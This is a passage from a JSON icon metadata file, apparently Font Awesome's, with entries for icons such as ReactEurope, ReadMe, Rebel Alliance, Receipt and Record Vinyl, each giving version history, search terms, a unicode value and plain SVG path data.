0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"
      }
    },
    "free": ["brands"]
  },
  "reacteurope": {
    "changes": ["5.5.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f75d",
    "label": "ReactEurope",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"
      }
    },
    "free": ["brands"]
  },
  "readme": {
    "changes": ["5.0.9", "5.0.10"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4d5",
    "label": "ReadMe",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"
      }
    },
    "free": ["brands"]
  },
  "rebel": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d0",
    "label": "Rebel Alliance",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"
      }
    },
    "free": ["brands"]
  },
  "receipt": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fe"],
        "secondary": ["10f543"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accounting",
        "bookkeeping",
        "check",
        "evidence",
        "invoice",
        "money",
        "pay",
        "proof",
        "receipt",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "f543",
    "label": "Receipt",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M14 2.2C22.5-1.7 32.5-.3 39.6 5.8L80 40.4 120.4 5.8c9-7.7 22.3-7.7 31.2 0L192 40.4 232.4 5.8c9-7.7 22.3-7.7 31.2 0L304 40.4 344.4 5.8c7.1-6.1 17.1-7.5 25.6-3.6s14 12.4 14 21.8V488c0 9.4-5.5 17.9-14 21.8s-18.5 2.5-25.6-3.6L304 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L192 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L80 471.6 39.6 506.2c-7.1 6.1-17.1 7.5-25.6 3.6S0 497.4 0 488V24C0 14.6 5.5 6.1 14 2.2zM96 144c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96zM80 352c0 8.8 7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zM96 240c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M14 2.2C22.5-1.7 32.5-.3 39.6 5.8L80 40.4 120.4 5.8c9-7.7 22.3-7.7 31.2 0L192 40.4 232.4 5.8c9-7.7 22.3-7.7 31.2 0L304 40.4 344.4 5.8c7.1-6.1 17.1-7.5 25.6-3.6s14 12.4 14 21.8V488c0 9.4-5.5 17.9-14 21.8s-18.5 2.5-25.6-3.6L304 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L192 471.6l-40.4 34.6c-9 7.7-22.3 7.7-31.2 0L80 471.6 39.6 506.2c-7.1 6.1-17.1 7.5-25.6 3.6S0 497.4 0 488V24C0 14.6 5.5 6.1 14 2.2zM96 144c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96zM80 352c0 8.8 7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16zM96 240c-8.8 0-16 7.2-16 16s7.2 16 16 16H288c8.8 0 16-7.2 16-16s-7.2-16-16-16H96z"
      }
    },
    "free": ["solid"]
  },
  "record-vinyl": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8d9"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["LP", "album", "analog", "music", "phonograph", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f8d9",
    "label": "Record Vinyl",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm0 224a128 128 0 1 0 0-256 128 128 0 1 0 0 256zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256-96a96 96 0 1 1 0 192 96 96 0 1 1 0-192zm0 224a128 128 0 1 0 0-256 128 128 0 1 0 0 256zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "rectangle-ad": {
    "aliases": {
      "names": ["ad"],
      "unicodes": {
        "secondary": ["10f641"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
